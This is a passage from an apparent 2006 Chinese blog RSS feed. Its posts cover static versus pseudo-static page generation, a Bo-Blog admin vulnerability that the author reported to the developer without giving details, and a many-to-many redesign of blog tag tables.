<p>单用户的博客系统不同于各种CMS，大流量，服务器完全可以承受，除非那种查询很多的博客，基于数据库的WEB程序非常多，竞争造成了静态页面的流行。对于那些死的不变的系统，批量生成html页面确实是不错的技术，大大提高网站的稳定性、降低负载。可以减少SQL服务器的负荷。我觉得模拟静态和真正的静态没有什么区别。没有必要用那么一大堆文件。和那么多代码代替几行模拟静态的代码。而且后期维护也麻烦。改动一次还要写一次文件，就安全角度来说，多一个可写目录。多一个保存后门的地方。</p>
<p>至于为了搜索引擎而优化，这个其实是误传。看搜索引擎列出的页面，asp、cgi、php、aspx的什么都有，并不时只有html的。搜索引擎看的是内容（例如一些关键head中的标记），要根据所有引擎的算法不断修改产生的页面的内容。即使不模拟出静态页面，也照样可以搜索得到。比如：</p>
<p><a href="http://www.baidu.com/baidu?word=%C2%DB%CE%C4%CC%E1%B8%D9&amp;tn=myie2dg">http://www.baidu.com/baidu?word=%C2%DB%CE%C4%CC%E1%B8%D9&amp;tn=myie2dg</a></p>
<p>上面的关键词，就是&ldquo;论文提纲&rdquo;，搜索出来的就是Sablog程序。排行第一。照样不是静态文件，不是html结尾。所以说静态文件和非静态的，对搜索引擎没有什么影响。</p>
<p>还不知道有什么理由还要做静态生成？</p>]]></description>
			<link>http://www.sablog.net/blog/archives/101/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2006-04-01 00:18</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/archives/100/</guid>
			<title>发现Bo-Blog后台多种办法可以上传后门</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>今天下了bo-blog最新版本，打算研究一下数据结构。做个转换程序出来。结果发现一些代码比较有意思。通过十多分钟的调试，成功通过此漏洞拿到了SHELL，不过可惜。是在后台。否则。。</p>
<p>不过前台也有几处代码。有点问题。没有细细研究。感觉希望不大。不过真开心。隔了这么久没有分析代码，居然现在还具备这种能力。太好了。</p>
<p><strong>已经联系过BO-BLOG的作者BOB了。漏洞细节就不说了。</strong></p><br /><br /><b>图片附件:</b><br /><a href="http://www.sablog.net/blog/attachment.php?id=55" target="_blank"><img src="http://www.sablog.net/blog/attachments//cate_2/8897ecb7a1ddb7f018f636e727eaa276.gif" border="0" alt="大小: 14.72 K&#13;尺寸: 302 x 500&#13;浏览: 954 次&#13;点击打开新窗口浏览全图" width="302" height="500" /></a>]]></description>
			<link>http://www.sablog.net/blog/archives/100/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2006-03-31 06:16</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/tag-efficiency-nicety/</guid>
			<title>关于标签的的效率和准确性研究</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>我的标签表结构设计还有查询。的确是存在一些问题。当初我敢说。TAG的想法刚被流传的时候。我就开始注意到这个功能了。所以在国内主流的PHP开发的BLOG程序中，是第一个支持此功能的。以前有人和我说过。现在又有高手提起。我的标签的确存在着两个问题。感谢<a href="mailto:yake.chen@dudu-inc.com">yake.chen@dudu-inc.com</a>。</p>
<p>Tag功能的表结构设计存在一定问题。目前是通过模糊搜索查询方式来匹配标签，进而通过标签来匹配到文章。这个实现方式有两个致命的缺点：</p>
<ol>
    <li>大数据量下标签搜索的效率问题。</li>
    <li>标签匹配的准确性问题。（所记录的标签出现条数并非模糊搜索显示出的条数）</li>
</ol>
<p>的确。本来刚有人和我提出的时候，我就把改善TAG表列入计划中。可是后来忘记了。结果这次发布的测试版后。高手又提出了这个问题。才让我想起来。的确要改善。</p>
<table cellspacing="1" cellpadding="5" width="100%" bgcolor="#999999" summary="" border="0">
    <tbody>
        <tr>
            <td bordercolor="#999999" bgcolor="#eeeeee">
            <p>因为标签是个 多对多的结构体系&nbsp; 一篇文章可以有多个标签，一个标签可以对应多篇文章。所以一般性的解决办法是为标签结构使用两个表来描述。</p>
            <p>你现在的标签表算一个，另外一个记录标签和文章标签的关系。</p>
            <p>比如建立一个表tag_relation 三个字段&nbsp; tid, article_id, tagid每插入数据库一个标签的时候同时更新这两个表。tag_replation的tagid字段对应你的